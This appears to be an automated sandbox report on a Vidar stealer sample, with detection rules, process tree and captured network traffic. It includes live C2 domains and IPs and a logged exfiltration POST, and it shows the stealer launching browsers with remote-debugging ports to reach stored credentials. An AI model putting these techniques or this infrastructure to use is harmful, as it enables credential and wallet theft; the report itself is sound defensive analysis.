Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1573847
MD5:	3b8b3018e3283830627249d26305419d
SHA1:	40fa5ef5594f9e32810c023aba5b6b8cea82f680
SHA256:	258e444e78225f74d47ba4698d49a33e6d1f6ed1f3f710186be426078e2bf1cb
Tags:	exeuser-Bitsight
Infos:

Detection

Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Vidar stealer

AI detected suspicious sample

Hides threads from debuggers

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Performs DNS queries to domains with low reputation

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Abnormal high CPU Usage

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Browser Started with Remote Debugging

Stores files to the Windows start menu directory

Uses 32bit PE files

Uses insecure TLS / SSL version for HTTPS connection

Classification

Process Tree

System is w10x64

file.exe (PID: 3976 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 3B8B3018E3283830627249D26305419D)

chrome.exe (PID: 5572 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6400 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2280 --field-trial-handle=2236,i,14863251610561902864,11257692627608864395,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 8088 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7760 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2404 --field-trial-handle=2256,i,13409747486401318326,17873368188022169057,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7804 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7440 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2704 --field-trial-handle=2052,i,3797865959626290967,6267395957437977720,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8272 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6692 --field-trial-handle=2052,i,3797865959626290967,6267395957437977720,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8312 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6856 --field-trial-handle=2052,i,3797865959626290967,6267395957437977720,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8644 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6172 --field-trial-handle=2052,i,3797865959626290967,6267395957437977720,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 1712 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=972 --field-trial-handle=2052,i,3797865959626290967,6267395957437977720,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 3976, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default", ProcessId: 5572, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-12T16:46:39.789647+0100	2044247	1	Malware Command and Control Activity Detected	116.203.10.31	443	192.168.2.8	49711	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-12T16:46:42.090974+0100	2051831	1	Malware Command and Control Activity Detected	116.203.10.31	443	192.168.2.8	49713	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-12T16:46:42.090773+0100	2049087	1	A Network Trojan was detected	192.168.2.8	49713	116.203.10.31	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://grahm.xyz	Avira URL Cloud: Label: malware
Source: https://grahm.xyz/	Avira URL Cloud: Label: malware
Source: https://grahm.xyz/N	Avira URL Cloud: Label: malware

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 68%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 23.206.229.226:443 -> 192.168.2.8:49741 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.8:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 116.203.10.31:443 -> 192.168.2.8:49708 version: TLS 1.2

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 37MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049087 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST : 192.168.2.8:49713 -> 116.203.10.31:443
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 116.203.10.31:443 -> 192.168.2.8:49713
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 116.203.10.31:443 -> 192.168.2.8:49711

Performs DNS queries to domains with low reputation

Source:

DNS query: grahm.xyz

Source: global traffic

HTTP traffic detected: GET /detct0r HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 20.189.173.5 20.189.173.5
Source: Joe Sandbox View	IP Address: 149.154.167.99 149.154.167.99
Source: Joe Sandbox View	IP Address: 149.154.167.99 149.154.167.99

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown

HTTPS traffic detected: 23.206.229.226:443 -> 192.168.2.8:49741 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 2.16.158.82
Source: unknown	TCP traffic detected without corresponding DNS query: 2.16.158.82
Source: unknown	TCP traffic detected without corresponding DNS query: 2.16.158.82
Source: unknown	TCP traffic detected without corresponding DNS query: 2.16.158.80
Source: unknown	TCP traffic detected without corresponding DNS query: 2.16.158.80
Source: unknown	TCP traffic detected without corresponding DNS query: 2.16.158.80
Source: unknown	TCP traffic detected without corresponding DNS query: 2.16.158.82
Source: unknown	TCP traffic detected without corresponding DNS query: 2.16.158.80
Source: unknown	TCP traffic detected without corresponding DNS query: 2.16.158.82
Source: unknown	TCP traffic detected without corresponding DNS query: 2.16.158.80
Source: unknown	TCP traffic detected without corresponding DNS query: 23.44.203.13
Source: unknown	TCP traffic detected without corresponding DNS query: 23.44.203.13
Source: unknown	TCP traffic detected without corresponding DNS query: 23.44.203.13
Source: unknown	TCP traffic detected without corresponding DNS query: 23.44.203.13
Source: unknown	TCP traffic detected without corresponding DNS query: 23.44.203.13
Source: unknown	TCP traffic detected without corresponding DNS query: 23.44.203.13
Source: unknown	TCP traffic detected without corresponding DNS query: 23.44.203.13
Source: unknown	TCP traffic detected without corresponding DNS query: 23.44.203.13
Source: unknown	TCP traffic detected without corresponding DNS query: 23.44.203.13
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.44.203.13
Source: unknown	TCP traffic detected without corresponding DNS query: 23.44.203.13
Source: unknown	TCP traffic detected without corresponding DNS query: 23.44.203.13
Source: unknown	TCP traffic detected without corresponding DNS query: 23.44.203.13
Source: unknown	TCP traffic detected without corresponding DNS query: 23.44.203.13
Source: unknown	TCP traffic detected without corresponding DNS query: 23.44.203.13
Source: unknown	TCP traffic detected without corresponding DNS query: 23.44.203.13
Source: unknown	TCP traffic detected without corresponding DNS query: 23.44.203.13
Source: unknown	TCP traffic detected without corresponding DNS query: 23.44.203.13
Source: unknown	TCP traffic detected without corresponding DNS query: 23.44.203.13
Source: unknown	TCP traffic detected without corresponding DNS query: 23.44.203.13
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.5
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.5
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.5
Source: unknown	TCP traffic detected without corresponding DNS query: 18.238.49.124
Source: unknown	TCP traffic detected without corresponding DNS query: 18.238.49.124
Source: unknown	TCP traffic detected without corresponding DNS query: 18.238.49.124
Source: unknown	TCP traffic detected without corresponding DNS query: 18.238.49.124

Source: global traffic	HTTP traffic detected: GET /detct0r HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0Host: grahm.xyzConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlaHLAQiFoM0BCNy9zQEIucrNAQiK080BCMfUzQEIodbNAQio2M0BCPnA1BUYwcvMARi60s0BGMXYzQEY642lFw==Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlaHLAQiFoM0BCNy9zQEIucrNAQiK080BCMfUzQEIodbNAQio2M0BCPnA1BUYwcvMARi60s0BGMXYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b?rn=1734018433237&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=2B4728EAA4386D50161A3DB9A5116C1A&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1734018433237&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=f97ea5676140412c82d619797299a18f&activityId=f97ea5676140412c82d619797299a18f&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=2B4728EAA4386D50161A3DB9A5116C1A; _EDGE_S=F=1&SID=296938534AFC602A3AA42D004BC6615B; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /b2?rn=1734018433237&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=2B4728EAA4386D50161A3DB9A5116C1A&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=1BF3b61c31387b2525a164a1734018436; XID=1BF3b61c31387b2525a164a1734018436
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1734018433237&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=f97ea5676140412c82d619797299a18f&activityId=f97ea5676140412c82d619797299a18f&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=E7586DD3E35E40A1862570F7C55DE2B3&MUID=2B4728EAA4386D50161A3DB9A5116C1A HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=2B4728EAA4386D50161A3DB9A5116C1A; _EDGE_S=F=1&SID=296938534AFC602A3AA42D004BC6615B; _EDGE_V=1; SM=T; _C_ETH=1; msnup=

Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)
Source: uu_host_config.10.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: uu_host_config.10.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: uu_host_config.10.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: t.me
Source: global traffic	DNS traffic detected: DNS query: grahm.xyz
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----16PP8GLX4OZU37YU3WL6User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0Host: grahm.xyzContent-Length: 254Connection: Keep-AliveCache-Control: no-cache

Source: chromecache_454.6.dr	String found in binary or memory: http://www.broofa.com
Source: file.exe, 00000000.00000003.1574268096.0000000000F21000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1603871196.0000000000F19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.u
Source: MOP8GV.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_454.6.dr	String found in binary or memory: https://apis.google.com
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: 8314d887-e83b-4a7e-aaf7-3553fb860120.tmp.13.dr	String found in binary or memory: https://assets.msn.com
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://bard.google.com/
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: RQ1VK6.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696491991400800003.2&ci=1696491991993.
Source: RQ1VK6.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696491991400800003.1&ci=1696491991993.12791&cta
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://c.msn.com/
Source: MOP8GV.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: MOP8GV.0.dr, Q9RQQQ.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: MOP8GV.0.dr, Q9RQQQ.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json0.10.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json0.10.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: 8ca318b1-9904-4b9c-94a8-aa74f288d2b4.tmp.13.dr, 9fcf533d-7852-4fa6-aa4b-475f68a58e0a.tmp.13.dr, 8314d887-e83b-4a7e-aaf7-3553fb860120.tmp.13.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json.10.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: 8ca318b1-9904-4b9c-94a8-aa74f288d2b4.tmp.13.dr, 9fcf533d-7852-4fa6-aa4b-475f68a58e0a.tmp.13.dr, 8314d887-e83b-4a7e-aaf7-3553fb860120.tmp.13.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: RQ1VK6.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: RQ1VK6.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: 2cc80dabc69f58b6_0.10.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: manifest.json.10.dr	String found in binary or memory: https://docs.google.com/
